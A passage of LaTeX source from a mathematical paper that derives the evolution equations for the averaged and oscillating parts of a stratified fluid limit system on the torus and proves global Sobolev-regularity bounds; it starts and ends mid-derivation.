\sum_{\substack{n\in\mathbb{Z}^3 \\ n_h\neq 0}} \ps{\mathcal{F}\widetilde{\mathcal{Q}}_2 \pare{\underline{U}, \widetilde{U}}(n)}{e_0(n)}_{\mathbb{C}^4}\ e_0(n) = \begin{pmatrix} \underline{u}^h \cdot\nabla_h \overline{u}^h \\ 0\\ 0 \end{pmatrix} + \begin{pmatrix} \nabla_h \overline{p}_2 \\ 0\\ 0 \end{pmatrix},
\end{equation*}
where
\begin{equation*}
\overline{p}_2 = \pare{-\Delta_h}^{-1} \textnormal{div}\;_h \pare{\underline{u}^h\cdot \nabla_h \overline{u}^h}.
\end{equation*}
\end{lemma}
\begin{proof}
For $ c=\pm $, from \eqref{eq:eigenvectors}, we have $ e^c\perp e_0$, which implies that
\begin{equation*}
\ps{\mathcal{F}\widetilde{\mathcal{Q}}_2 \left( \underline{U}, \widetilde{U} \right)(n)}{e_0(n)}_{\mathbb{C}^4} = 2 \sum_{\substack{\pare{0,k_3} + m=n\\m_h, n_h \neq 0 \\ \widetilde{\omega}^{b,0}_{m,n}=0\\b =0, \pm\\j=1,2,3}} \psca{\widehat{\mathbb{P}}(n) \begin{pmatrix} \check{n} \\ 0 \end{pmatrix} \cdot \mathbb{S} \left( {U}^{j} (0,k_3) \otimes {U}^b (m)\right) \,\Big|\, e_0 (n) }_{\mathbb{C}^4}.
\end{equation*}
The condition $ \widetilde{\omega}^{b,0}_{m,n}=0 $ implies that
\begin{equation*}
\widetilde{\omega}^{b,0}_{m,n} = \omega^b\pare{m}-\omega^0(n) = \pm i \frac{\av{m_h}}{\av{m}} =0,
\end{equation*}
hence $ m_h =0 $. This consideration combined with the convolution constraint $ \pare{0,k_3} + m=n $ implies $ n_h=0 $, which contradicts the definition of the form $ \widetilde{\mathcal{Q}}_2 $. Then, in the expression of $\mathcal{F}\widetilde{\mathcal{Q}}_2 \left( \underline{U}, \widetilde{U} \right)$, we should only take $ c=0 $ and Lemma \ref{lem:proj_tQ2_e0} follows standard explicit computations.
\end{proof}
Now, setting
\begin{equation*}
\overline{p}= \overline{p}_1 + \overline{p}_2,
\end{equation*}
Lemma \ref{lem:proj_tQ1_e0} and \ref{lem:proj_tQ2_e0} imply the following
\begin{cor} \label{cor:proj_cQ1cQ2_e0}
Let $ U $ be as in Proposition \ref{pr:compact_strong}, and let $ \widetilde{\mathcal{Q}}_1 $ and $ \widetilde{\mathcal{Q}}_2 $ be defined as in \eqref{eq:limit_cQ1} and \eqref{eq:limit_cQ2} respectively. Then
\begin{equation*}
\sum_{\substack{n\in\mathbb{Z}^3 \\ n_h\neq 0}} \ps{ \mathcal{F} \widetilde{\mathcal{Q}}_1 \pare{\widetilde{U}, \widetilde{U}} + \mathcal{F} \widetilde{\mathcal{Q}}_2 \pare{U, U}}{e_0(n)}_{\mathbb{C}^4} \ e_0(n) = \begin{pmatrix} \overline{u}^h\cdot\nabla_h \overline{u}^h + \underline{u}^h\cdot\nabla_h \overline{u}^h \\ 0\\ 0 \end{pmatrix} + \begin{pmatrix} \nabla_h \overline{p} \\ 0\\ 0 \end{pmatrix}.
\end{equation*}
\end{cor}
\bigskip
\noindent \underline{\textit{Step 2}}: The computation of the projection of $\widetilde{\mathcal{A}^0_2}\pare{D}\widetilde{U}$ onto $\text{Span}\set{E_0(n,\cdot)}$ is given in the following lemma, the proof of which can be found in \cite[Lemma 4.4]{Scrobo_Froude_periodic}.
\begin{lemma} \label{lem:proj_A0y_e0}
Let $ U $ be as in Proposition \eqref{pr:compact_strong} and $ \widetilde{\mathcal{A}^0_2}\pare{D} $ be defined as in \eqref{eq:limit_At}. Then
\begin{equation*}
\overline{\widetilde{\mathcal{A}^0_2}\pare{D}\widetilde{U}} = \sum_{\substack{n\in\mathbb{Z}^3 \\ n_h\neq 0}} \ps{\mathcal{F} \pare{\widetilde{\mathcal{A}^0_2}\pare{D}\widetilde{U}}}{e_0(n)}_{\mathbb{C}^4} \ e_0(n) = \begin{pmatrix} \nu\Delta\overline{u}^h\\ 0\\ 0 \end{pmatrix}.
\end{equation*}
\end{lemma}
\bigskip
\noindent \underline{\textit{Step 3}}: Projecting the system \eqref{eq:lim_syst_Utilde} onto $\text{Span}\set{E_0(n,\cdot)}$ yields the following equation which describes the evolution of $\overline{U}$
\begin{equation*}
\partial_t \overline{U} + \overline{\widetilde{\mathcal{Q}}_1 \pare{\widetilde{U}, \widetilde{U}}} + \overline{\widetilde{\mathcal{Q}}_2 \pare{U, U}} - \overline{\widetilde{\mathcal{A}^0_2}\pare{D}\widetilde{U}} = 0.
\end{equation*}
Then, Corollary \ref{cor:proj_cQ1cQ2_e0} and Lemma \ref{lem:proj_A0y_e0} imply
\begin{prop} \label{prop:limit_bar_local}
Let $ U $ be as in Proposition \ref{pr:compact_strong} and let
\begin{equation*}
\overline{V}_0 = \sum_{\substack{n\in\mathbb{Z}^3 \\ n_h\neq 0}} \ps{\mathcal{F} V_0}{e_0(n)}_{\mathbb{C}^4} e_0(n) \in {{H}^s\left( \mathbb{T}^3 \right)},
\end{equation*}
for $ s>5/2 $. Then, the projection $\overline{U}$ of $U$ onto $\text{Span}\set{E_0(n,\cdot)}$ belongs to the energy space
\begin{equation*}
\mathcal{C} \pare{\left[0, T\right]; H^\sigma \pare{\mathbb{T}^3}}, \ \sigma \in \pare{s-2, s},
\end{equation*}
for each $ T\in\left[ 0, T^\star \right[ $, and $ \overline{U} $ solves the Cauchy problem \eqref{eq:Uover_2DstratNS} almost everywhere in $ \mathbb{T}^3\times \left[0, T\right] $.
\end{prop}
\bigskip
\subsubsection{Derivation of the evolution of $ U_{\textnormal{osc}} $}
As for $\overline{U}$, the study of $ U_{\textnormal{osc}} $ also consists in three steps.
\noindent \underline{\textit{Step 1}}: Computation of
\begin{align*}
\pare{\widetilde{\mathcal{Q}}_1 \pare{\widetilde{U}, \widetilde{U}}}_{\textnormal{osc}} &= \sum_{\substack{n\in\mathbb{Z}^3 \\ n_h\neq 0}} \sum_{c=\pm} \ps{ \mathcal{F} \widetilde{\mathcal{Q}}_1 \pare{\widetilde{U}, \widetilde{U}}(n)}{e_c(n)}_{\mathbb{C}^4} e^{i\check{n}\cdot x} \ e_c(n)\\
\pare{\widetilde{\mathcal{Q}}_2 \pare{\underline{U}, \widetilde{U}}}_{\textnormal{osc}} &= \sum_{\substack{n\in\mathbb{Z}^3 \\ n_h\neq 0}} \sum_{c=\pm} \ps{ \mathcal{F} \widetilde{\mathcal{Q}}_2 \pare{U, U}(n)}{e_c(n)}_{\mathbb{C}^4} e^{i\check{n}\cdot x} \ e_c(n).
\end{align*}
Since $ \widetilde{U}=\overline{U}+ U_{\textnormal{osc}} $, we can decompose
\begin{equation*}
\pare{\widetilde{\mathcal{Q}}_1 \pare{\widetilde{U}, \widetilde{U}}}_{\textnormal{osc}} = \pare{\widetilde{\mathcal{Q}}_1 \pare{\overline{U}, \overline{U}}}_{\textnormal{osc}}+ 2\pare{\widetilde{\mathcal{Q}}_1 \pare{\overline{U}, U_{\textnormal{osc}}}}_{\textnormal{osc}} + \pare{\widetilde{\mathcal{Q}}_1 \pare{U_{\textnormal{osc}}, U_{\textnormal{osc}}}}_{\textnormal{osc}}.
\end{equation*}
The first term was already calculated in \cite[Lemma 4.6]{Scrobo_Froude_periodic}, and we have
\begin{lemma} \label{lem:cQ1barbarosc=0}
The following identity holds true
\begin{equation*}
\pare{\widetilde{\mathcal{Q}}_1 \pare{\overline{U}, \overline{U}}}_{\textnormal{osc}} =0.
\end{equation*}
\end{lemma}
\noindent To obtain the bilinear term of the equation \eqref{eq:lim_Uosc}, it remains to find the explicit expression of $\pare{\widetilde{\mathcal{Q}}_2 \pare{\underline{U}, \widetilde{U}}}_{\textnormal{osc}}$, which is in fact the bilinear term $\mathcal{B} \left( \underline{U}, U_{\textnormal{osc}} \right)$ of the equation \eqref{eq:lim_Uosc}.
\begin{lemma}
We have the following explicit expression
\begin{align}
\label{eq:tQ2_e+-} \mathcal{F} \ \mathcal{B} \left( \underline{U}, U_{\textnormal{osc}} \right) = & \ \mathcal{F} \ \pare{\widetilde{\mathcal{Q}}_2 \left( \underline{U}, \widetilde{U} \right)}_{\textnormal{osc}} \\
= & \ \sum_{\substack{ b, c=\pm \\j=1,2,3}} \psca{\widehat{\mathbb{P}}(n) \begin{pmatrix} \check{n} \\ 0 \end{pmatrix} \cdot \mathbb{S} \left( {U}^{j} \left(0, 2n_3 \right) \otimes {U}^b \left(n_h, -n_3\right)\right) \,\Big|\, e_c(n) }_{\mathbb{C}^4}\; e_c(n). \notag
\end{align}
\end{lemma}
\begin{proof}
Since $ \widetilde{U}=\overline{U}+U_{\textnormal{osc}} $, we have
\begin{equation*}
\pare{\widetilde{\mathcal{Q}}_2 \pare{\underline{U}, \widetilde{U}}}_{\textnormal{osc}} = \pare{\widetilde{\mathcal{Q}}_2 \pare{\underline{U}, \overline{U}}}_{\textnormal{osc}} + \pare{\widetilde{\mathcal{Q}}_2 \pare{\underline{U}, U_{\textnormal{osc}}}}_{\textnormal{osc}}.
\end{equation*}
According to the definition \eqref{eq:limit_cQ2}, we can write
\begin{equation*}
\pare{\widetilde{\mathcal{Q}}_2 \pare{\underline{U}, \overline{U}}}_{\textnormal{osc}} = \sum_{\substack{\pare{0,k_3} + m=n\\ m_h, n_h \neq 0\\ \widetilde{\omega}^{0,c}_{m,n}=0\\ c=\pm \\j=1,2,3}} \psca{\widehat{\mathbb{P}}(n) \begin{pmatrix} \check{n} \\ 0 \end{pmatrix} \cdot \mathbb{S} \left( {U}^{j} (0,k_3) \otimes {U}^0 (m)\right) \,\Big|\, e_c(n)}_{\mathbb{C}^4}\; e_c(n).
\end{equation*}
Let us remark that the above formulation differs to the one given in \eqref{eq:limit_cQ2} since the projection onto the oscillating subspace forces the parameter $ c $ to be equal to $ \pm $ only, and the fact that $ \overline{U} $ is the second argument of the bilinear form forces the parameter $ b $ in \eqref{eq:limit_cQ2} to be zero. Hence the bilinear interaction constraint $ \widetilde{\omega}^{0,c}_{m,n}= c \frac{\av{n_h}}{\av{n}}=0 $ combined with the convolution constraint $ \pare{0,k_3} + m=n $ implies that $ n_h=0 $, that contradicts the definition of $ \widetilde{\mathcal{Q}}_2 $. We deduce that
\begin{equation*}
\pare{\widetilde{\mathcal{Q}}_2 \pare{\underline{U}, \overline{U}}}_{\textnormal{osc}} =0.
\end{equation*}
It now remains to prove \eqref{eq:tQ2_e+-}. According to the above argument we can argue that
\begin{align*}
\pare{\widetilde{\mathcal{Q}}_2 \pare{\underline{U}, \widetilde{U}}}_{\textnormal{osc}} & = \pare{\widetilde{\mathcal{Q}}_2 \pare{\underline{U}, U_{\textnormal{osc}}}}_{\textnormal{osc}}\\
& = \sum_{\substack{\pare{0,k_3} + m=n\\ \widetilde{\omega}^{b,c}_{m,n}=0\\ b, c=\pm \\j=1,2,3}} \left( \left. \ \widehat{\mathbb{P}}(n) \begin{pmatrix} \check{n} \\ 0 \end{pmatrix} \cdot \mathbb{S} \left( {U}^{j} (0,k_3) \otimes {U}^b (m)\right) \right| e_c(n) \right)_{\mathbb{C}^4}\; e_c(n).
\end{align*}
In this case, $n_h = m_h$ and using \eqref{eq:eigenvalues}, the equality $\widetilde{\omega}^{b,c}_{m,n} = \omega^\pm \left( n_h, n_3 \right)- \omega^\pm \left( n_h, m_3 \right)=0 $ becomes
\begin{equation*}
\frac{\left| \check{n}_h \right|}{\sqrt{\check{n}_1^2 + \check{n}_2^2+ \check{m}_3^2}}
=
\frac{\left| \check{n}_h \right|}{\sqrt{\check{n}_1^2 + \check{n}_2^2+ \check{n}_3^2}}.
\end{equation*}
The above equality is satisfied if $ m_3=\pm n_3 $. Let us suppose $ m_3 =n_3 $, if this is the case the convolution condition $ k_3 + m_3 = n_3 $ implies that $ k_3=0 $, in this case the term $ \widehat{{U}} \left( 0,0 \right) $ denotes the average of the element $ {u}^h $, which is identically zero by hypothesis since \eqref{PBSe} propagates the global average which is supposed to be zero since the beginning. Thus, we get $ m_3=-n_3 $ and $ k_3 =2n_3 $ and we recover the expression in \eqref{eq:tQ2_e+-}.
\end{proof}
\bigskip
\noindent \underline{\textit{Step 2}}: Computation of $\pare{\widetilde{\mathcal{A}^0_2}\pare{D}\widetilde{U}}_{\textnormal{osc}}$.
\begin{lemma} \label{lem:proj_tA_osc}
We have
\begin{equation*}
\pare{\widetilde{\mathcal{A}^0_2}\pare{D}\widetilde{U}}_{\textnormal{osc}} = \nu \Delta U_{\textnormal{osc}}.
\end{equation*}
\end{lemma}
\begin{proof}
We will calculate
\begin{equation*}
\mathcal{F} \pare{\widetilde{\mathcal{A}^0_2}\pare{D} U_{\textnormal{osc}}}_{\textnormal{osc}} (n) = \sum_{\substack{a, b =\pm\\ \omega^{a, b}_n=0}}\widehat{U}^a (n) \ps{{\mathcal{A}_2}(n) e_a(n)}{e_b(n)}_{\mathbb{C}^4} e_b(n),
\end{equation*}
where the matrix $ \mathcal{A}_2 $ is defined in \eqref{matrici}.
If $ a=-b $, the condition $ \omega^{a, b}_n=0 $ becomes
\begin{equation*}
\omega^{a, -a}_n = 2\omega^a(n) = 2 a\ i\frac{\av{n_h}}{\av{n}}=0,
\end{equation*}
which implies $ n_h=0 $, contradicting the definition of $ \widetilde{\mathcal{A}^0_2} $. Thus, we deduce that $ a=b $. The expression of the eigenvalues given in \eqref{eq:eigenvalues} implies
\begin{equation*}
\ps{{\mathcal{A}_2}\pare{D} e_a}{e_a}_{\mathbb{C}^4} = -\nu \av{n}^2.
\end{equation*}
Lemma \ref{lem:proj_tA_osc} is then proved.
\end{proof}
\begin{rem}
We want to emphasize that Lemma \ref{lem:proj_A0y_e0} and \ref{lem:proj_tA_osc} imply the strict (total) parabolicity of the operator $ {\widetilde{\mathcal{A}^0_2}}\pare{D}$ for vector fields with zero horizontal average. This is remarkable since the operator $ \mathcal{A}_2 \pare{D} $ appearing in \eqref{PBSe} is \textit{not} strictly parabolic.
\end{rem}
\bigskip
\noindent \underline{\textit{Step 3}}: Projecting the system \eqref{eq:lim_syst_Utilde} onto $\text{Span}\set{E_\pm(n,\cdot)}$ and using Lemma \ref{lem:cQ1barbarosc=0} and \ref{lem:proj_tA_osc}, we deduce that the evolution of $ U_{\textnormal{osc}} $ is given by
\begin{equation*}
\partial_t U_{\textnormal{osc}} + \widetilde{\mathcal{Q}}_1 \pare{U_{\textnormal{osc}}, U_{\textnormal{osc}} + 2 \overline{U}} + \mathcal{B}\pare{\underline{U}, U_{\textnormal{osc}}}-\nu\Delta U_{\textnormal{osc}}=0,
\end{equation*}
and we hence prove the following result
\begin{prop} \label{prop:limit_osc_local}
Let $ U_{\textnormal{osc}, 0}\in{{H}^s\left( \mathbb{T}^3 \right)}, \ s>5/2 $, the projection of $ U $ onto the oscillating subspace $\text{Span}\set{E_\pm(n,\cdot)}$ belongs to the energy space
\begin{equation*}
\mathcal{C}\pare{[0, T]; H^\sigma \pare{\mathbb{T}^3}}, \ \sigma\in\pare{s-2, s},
\end{equation*}
for each $ T\in\left[0, T^\star\right[$, and $ U_{\textnormal{osc}} $ solves the Cauchy problem \eqref{eq:lim_Uosc} a.e. in $ \mathbb{T}^3\times [0, T] $.
\end{prop}
\section{Global propagation of smooth data for the limit system}
We already proved in Proposition \ref{prop:limit_eq_Uunderline_local}, \ref{prop:limit_bar_local} and \ref{prop:limit_osc_local}, if the initial data $U_0 \in H^s$, $s > 5/2$, then the decomposition $U=\underline{U} + \overline{U} + U_{\textnormal{osc}}$ holds in $ \mathcal{C} \pare{[0, T], H^\sigma}$, $s-2<\sigma<s $ and $0\leqslant T<T^\star$, and where $\underline{U}$, $\overline{U}$ and $U_{\textnormal{osc}}$ are respectively solutions of the systems \eqref{eq:Uunder_heat2D}, \eqref{eq:Uover_2DstratNS} and \eqref{eq:lim_Uosc}. The aim of this section is to prove the \textit{global} propagation of the ${{H}^s\left( \mathbb{T}^3 \right)}$-regularity, $s>5/2$, by the limit system \eqref{eq:limit_system}, more precisely by the systems \eqref{eq:Uunder_heat2D}--\eqref{eq:lim_Uosc}. This propagation can be resumed in the following propositions. We remark that for $\underline{U}$ and $\overline{U}$, we need much less regularity, and the ${{H}^s\left( \mathbb{T}^3 \right)}$-regularity, $s>5/2$, is especially needed for $U_{\textnormal{osc}}$.
\begin{prop} \label{pr:global_Hs_Uunder}
Let $ U_0 \in {{H}^s\left( \mathbb{T}^3 \right)}, s\geqslant 0 $, then the solution $\underline{U}=\pare{\underline{u}^h, 0, \underline{U}^4}$ of the equation \eqref{eq:Uunder_heat2D} globally and uniquely exists in time variable
\begin{equation*}
\underline{u}^h \in \mathcal{C} \pare{\mathbb{R}_+; H^{s}\pare{\mathbb{T}^1_{\v}}} \cap L^2 \pare{\mathbb{R}_+; H^{s+1}\pare{\mathbb{T}^1_{\v}}},
\end{equation*}
and
\begin{equation*}
\underline{U}^4 \in \mathcal{C} \pare{\mathbb{R}_+; H^s\pare{\mathbb{T}^1_{\v}}}.
\end{equation*}
\end{prop}
\begin{prop}
\label{pr:global_Hs_ubarh}
Let $ U_0 \in{{H}^s\left( \mathbb{T}^3 \right)}\cap L^\infty \left( \mathbb{T}_v; H^\sigma \left( \mathbb{T}^2_h \right) \right)$, and $ \nabla_h U_0 \in L^\infty \left( \mathbb{T}_v; H^\sigma \left( \mathbb{T}^2_h \right) \right) $ for $s>1/2, \sigma >0$, then the system \eqref{eq:Uover_2DstratNS} possesses a unique solution in
\begin{equation*}
\overline{u}^h \in \mathcal{C}\left( \mathbb{R}_+;{{{H}^s\left( \T^3 \right)}} \right) \cap L^2\left( \mathbb{R}_+; {H}^{s+1}\left( \mathbb{T}^3 \right) \right) .
\end{equation*}
Moreover for each $ t>0 $ the following estimate holds true
\begin{equation} \label{eq:stong_Hs_bound_ubar}
\left\| \overline{u}^h \left( t \right)\right\|_{{{H}^s\left( \T^3 \right)}}^2 + \nu \int_0^t \left\| \overline{u}^h\left( \tau \right) \right\|_{H^{s+1}\left( \mathbb{T}^3 \right)}^2d\tau \leqslant \mathcal{E}_1 \left( U_0 \right),
\end{equation}
where
\begin{equation} \label{eq:E1}
\mathcal{E}_1 \left( U_0 \right) = C \left\| \overline{u}^h _0\right\|_{{{H}^s\left( \T^3 \right)}}^2 \exp\set{\frac{C {K}\ \Phi \left( U_0 \right)}{c\nu} \; \left\| \nabla_h \overline{u}^h_0 \right\|_{L^p_v \left( H^\sigma_h \right)} + \frac{C}{\nu} \left\| \underline{u}^h_0 \right\|^2 _{H^s\left( \mathbb{T}^1_{\v} \right)} }
\end{equation}
and
\begin{equation*}
\Phi \left( U_0 \right)= \exp \set{\frac{ C K^2 \left\| \nabla_h\overline{u}^h_0 \right\|_{L^\infty_v\left( L^2_h \right)}^2 }{c\nu} \exp \set{ \frac{K}{c\nu} \left( 1+ \left\| \overline{u}^h_0 \right\|_{L^\infty_v \left( L^2_h \right)}^2 \right) \left\| \nabla_h\overline{u}^h_0 \right\|_{L^\infty_v \left( L^2_h \right)}^2 } }.
\end{equation*}
\end{prop}
\begin{prop} \label{pr:global_Hs_uosc}
Let $s>5/2 $ and $U_0\in{{H}^s\left( \mathbb{T}^3 \right)}$. For each $ T>0 $, we have
\begin{equation*}
U_{\textnormal{osc}}\in \mathcal{C} \pare{[0, T]; {{H}^s\left( \mathbb{T}^3 \right)}}\cap L^2 \pare{[0, T]; H^{s+1}\pare{\mathbb{T}^3}},
\end{equation*}
and the following bound holds true for each $ 0\leqslant t\leqslant T $
\begin{equation*}
\norm{U_{\textnormal{osc}}\pare{t}}_{{{H}^s\left( \mathbb{T}^3 \right)}}^2 + \nu \int_0^t \norm{\nabla U_{\textnormal{osc}}\pare{\tau}}_{{{H}^s\left( \mathbb{T}^3 \right)}}^2d\tau \leqslant \mathcal{E}_{3, \nu, T}\pare{U_0},
\end{equation*}
where
\begin{align}
\label{eq:E3} \mathcal{E}_{3, \nu, T}\pare{U_0} & = \norm{U_{\textnormal{osc}, 0}}^2_{{{H}^s\left( \mathbb{T}^3 \right)}} \exp\set{ \frac{1}{\nu}\ \mathcal{E}_1\pare{U_0} + T\ \norm{\underline{U}_0}^2_{L^2\pare{\mathbb{T}^1_{\v}}} + \frac{1}{\nu} \pare{ \mathcal{E}_{2, U_0}\pare{T} }^2 },\\
\label{eq:E2} \mathcal{E}_{2, U_0}\pare{T} & = C \norm{U_{\textnormal{osc}, 0}}_{{L^2\!\left(\mathbb{T}^3\right)}}^2 \exp \set{\frac{\mathcal{E}_1\pare{U_0}}{\nu} + T \norm{\underline{U}_0}_{H^s\pare{\mathbb{T}^1_{\v}}}^2 }
\end{align}
and $\mathcal{E}_1\pare{U_0}$ is defined as in Proposition \ref{pr:global_Hs_ubarh}.
\end{prop}
\bigskip
\subsection{Proof of Proposition \ref{pr:global_Hs_Uunder}}
The system \eqref{eq:Uover_2DstratNS} is a classical heat equation, the solution of which is well known in the literature. Here, we only remark that classical energy estimates imply
\begin{equation*}
\norm{\underline{u}^h\pare{t}}^2_{H^{s}\pare{\mathbb{T}^1_{\v}}} + 2\nu \int_0^t \norm{\partial_3 \underline{u}^h\pare{\tau}}^2_{H^{s}\pare{\mathbb{T}^1_{\v}}} = \norm{\underline{u}^h_0}^2_{H^{s}\pare{\mathbb{T}^1_{\v}}}.
\end{equation*}
Since $ \underline{u}^h $ has zero vertical average, $ \underline{u}^h\in L^2 \pare{\mathbb{R}_+ ;H^{s+1}\pare{\mathbb{T}^1_{\v}} } $ as well. \hfill $\square$
\begin{rem}
We would like to mention that
\begin{equation} \label{eq:iso_vert_Hs_uunderline}
\left\| \underline{u}^h \right\|_{H^s \left( \mathbb{T}^1_{\v} \right)} = \left\| \underline{u}^h \right\|_{{{H}^s\left( \T^3 \right)}},
\end{equation}
hence even if $ \underline{u}^h $ depends on the vertical variable only it still inherits the same isotropic regularity.
\end{rem}
\bigskip
\subsection{Proof of Proposition \ref{pr:global_Hs_ubarh}}
We start by recalling a result proved in \cite[Proposition 5]{Scrobo_Froude_periodic}
\begin{prop} \label{prop:Linfty_integrability_uh}
Let $\overline{u}^h$ be a solution of \eqref{eq:Uover_2DstratNS} with initial data $ \overline{u}^h_0$ and $\nabla_h \overline{u}^h_0$ belonging to $L^\infty_v \left( H^\sigma_h \right)$, for some $\sigma\geqslant 1 $. Then, we have
\begin{equation*}
\overline{u}^h \in L^2 \left( \mathbb{R}_+; {L^\infty\left(\mathbb{T}^3\right)} \right),
\end{equation*}
and in particular
\begin{equation*}
\left\| \overline{u}^h \right\|_{L^2 \left( \mathbb{R}_+; {L^\infty\left(\mathbb{T}^3\right)} \right)} \leqslant \frac{C{K}}{c\nu} \; \Phi \left( U_0 \right) \left\| \nabla_h \overline{u}^h_0 \right\|_{L^p_v \left( H^\sigma_h \right)},
\end{equation*}
where $ \Phi \left( U_0 \right) $ is defined as in Proposition \ref{pr:global_Hs_ubarh} and $c, C,K $ are positive constants.
\end{prop}
\begin{rem}
The reader may notice that \cite[Proposition 5]{Scrobo_Froude_periodic} is applied on a limit system which is slightly different than \eqref{eq:Uover_2DstratNS}, i.e. on the system
\begin{equation}\label{eq:limit_system_other_work}
\left\lbrace
\begin{aligned}
& \partial_t \overline{u}^h + \overline{u}^h\cdot\nabla_h \overline{u}^h -\nu\Delta\overline{u}^h =-\nabla\bar{p}, \\
& \textnormal{div}\; \ \overline{u}^h =0.
\end{aligned}
\right.
\end{equation}
The only difference between \eqref{eq:limit_system_other_work} and \eqref{eq:Uover_2DstratNS} is the presence in \eqref{eq:Uover_2DstratNS} of the term $ \underline{u}^h\cdot\nabla_h \overline{u}^h $. Such term though does not pose an obstruction to the application of \cite[Proposition 5]{Scrobo_Froude_periodic} to the limit system \eqref{eq:Uover_2DstratNS}; the proof of such result is in fact based on the fact that the following nonlinear cancellation
\begin{equation*}
\int_{\mathbb{R}^2_h} \pare{\overline{u}^h\cdot\nabla_h \overline{u}^h}\cdot \overline{u}^h \text{d} y_h =0,
\end{equation*}
holds true for \eqref{eq:limit_system_other_work} (and hence as well for \eqref{eq:Uover_2DstratNS}) since $ \textnormal{div}\; \overline{u}^h =0 $. Indeed though the term $ \underline{u}^h\cdot\nabla_h \overline{u}^h $ enjoys as well a nonlinear cancellation, since
\begin{align*}
\int _{\mathbb{R}_h^2} \pare{\underline{u}^h\cdot\nabla_h \overline{u}^h}\cdot\overline{u}^h \text{d} y_h = \frac{1}{2} \ \underline{u}^h \int _{\mathbb{R}_h^2}\nabla\av{\overline{u}^h}^2 \text{d} y_h =0,
\end{align*}
being the vector field periodic. Whence \cite[Proposition 5]{Scrobo_Froude_periodic} can be applied to the limit system \eqref{eq:Uover_2DstratNS}.
\end{rem}
Next, we need the following estimate
\begin{lemma}
Let $ \overline{u}^h $ be the solution of \eqref{eq:Uover_2DstratNS} and $ \underline{u}^h $ the solution of \eqref{eq:Uunder_heat2D}, then, for $ s>1/2 $, we have
\begin{equation} \label{eq:bound_Hs_termine_lineare}
\left| \psca{\underline{u}^h \cdot \nabla_h \overline{u}^h \,\big|\, \overline{u}^h }_{{{H}^s\left( \mathbb{T}^3 \right)}} \right| \\ \leqslant C \left( \left\| \underline{u}^h \right\|_{H^{s } \left( \mathbb{T}^1_{\v} \right)} + \left\| \underline{u}^h \right\|_{H^{s +1} \left( \mathbb{T}^1_{\v} \right)} \right)\left\| \overline{u}^h \right\|_{{{{H}^s\left( \T^3 \right)}}} \left\| \nabla_h \overline{u}^h \right\|_{{{{H}^s\left( \T^3 \right)}}}.
\end{equation}
\end{lemma}
\begin{proof}
Applying the dyadic cut-off operator $\triangle_q$ to $\underline{u}^h \cdot \nabla_h \overline{u}^h$, taking the $L^2$-scalar product of the obtain quantity with $\triangle_q \overline{u}^h$ and applying the Bony decomposition, we get
\begin{equation*}
\left| \psca{\triangle_q \left( \underline{u}^h \cdot \nabla_h \overline{u}^h \right) \,\big|\, \triangle_q \overline{u}^h }_{{L^2\left(\mathbb{T}^3\right)}} \right| \leqslant B^1_q + B^2_q,
\end{equation*}
where
\begin{align*}
B^1_q &= \sum_{\left| q-q' \right|\leqslant4} \left| \psca{ \triangle_q \left( S_{q'-1}\underline{u}^h \triangle_{q'}\nabla_h \overline{u}^h \right) \,\big|\, \triangle_q \overline{u}^h }_{L^2} \right|\\
B^2_q &= \sum_{q'>q-4} \left| \psca{ \triangle_q\left( \triangle_{q'}\underline{u}^h S_{q'+2}\nabla_h \overline{u}^h \right) \,\big|\, \triangle_q \overline{u}^h }_{L^2} \right|.
\end{align*}
Applying H\"older inequality and using \eqref{regularity_dyadic} on the term $ B^1_q $, we deduce
\begin{equation*}
B^1_q \leqslant C b_q 2^{-2qs} \left\| S_{q'-1}\underline{u}^h \right\|_{L^\infty} \left\| \nabla_h \overline{u}^h \right\|_{{{{H}^s\left( \T^3 \right)}}}\left\| \overline{u}^h \right\|_{{{{H}^s\left( \T^3 \right)}}}.
\end{equation*}
Since $ \underline{u}^h $ only depends on the vertical variable, thanks to the embedding $ H^s \left( \mathbb{T}^1_{\v} \right) \hookrightarrow L^\infty \left( \mathbb{T}^1_{\v} \right), \ s> 1/2 $, we deduce
\begin{equation*}
\left\| S_{q'-1}\underline{u}^h \right\|_{L^\infty} \leqslant \left\| \underline{u}^h \right\|_{L^\infty \left( \mathbb{T}^1_{\v} \right)} \leqslant \left\| \underline{u}^h \right\|_{H^s \left( \mathbb{T}^1_{\v} \right)},
\end{equation*}
and whence,
\begin{equation}
\label{Bunoq} B^1_q \leqslant C b_q 2^{-2qs} \left\| \underline{u}^h \right\|_{H^s \left( \mathbb{T}^1_{\v} \right)} \left\| \nabla_h \overline{u}^h \right\|_{{{{H}^s\left( \T^3 \right)}}}\left\| \overline{u}^h \right\|_{{{{H}^s\left( \T^3 \right)}}}.
\end{equation}
Next, we apply H\"older inequality to the term $ B^2_q $ and get
\begin{equation*}
B^2_q \leqslant \sum_{q'>q-4} \left\| \triangle_q \overline{u}^h \right\|_{{{L^2\left(\mathbb{T}^3\right)}}} \left\| \triangle_{q'} \underline{u}^h \right\|_{L^2_v \left( L^\infty_h \right)} \left\| \nabla_h \overline{u}^h \right\|_{L^\infty_v \left( L^2_h \right)}.
\end{equation*}
Bernstein inequality and Estimates \eqref{regularity_dyadic} and \eqref{eq:iso_vert_Hs_uunderline} yield
\begin{equation*}
\left\| \triangle_{q'} \underline{u}^h \right\|_{L^2_v \left( L^\infty_h \right)} \leqslant C c_q 2^{q'-\left( q'+1 \right)s} \left\| \underline{u}^h \right\|_{H^{s+1}\left( \mathbb{T}^3 \right)} = \ C c_q 2^{-q's} \left\| \underline{u}^h \right\|_{H^{s+1}\left( \mathbb{T}^1_{\v} \right)}.
\end{equation*}
Since $ {{{H}^s\left( \T^3 \right)}}\hookrightarrow H^{0,s}\hookrightarrow L^\infty_v \left( L^2_v \right), \ s>1/2 $, we have
\begin{equation*}
\left\| \nabla_h \overline{u}^h \right\|_{L^\infty_v \left( L^2_h \right)} \leqslant C \left\| \nabla_h \overline{u}^h \right\|_{{{{H}^s\left( \T^3 \right)}}}.
\end{equation*}
Applying once again Estimate \eqref{regularity_dyadic}, we deduce
\begin{equation} \label{Bdueq}
B^2_q \leqslant C b_q 2^{-2qs} \left\| \underline{u}^h \right\|_{H^{s +1} \left( \mathbb{T}^1_{\v} \right)} \left\| \nabla_h \overline{u}^h \right\|_{{{{H}^s\left( \T^3 \right)}}}\left\| \overline{u}^h \right\|_{{{{H}^s\left( \T^3 \right)}}}.
\end{equation}
Now, combining \eqref{Bunoq} and \eqref{Bdueq} finaly implies
\begin{equation*}
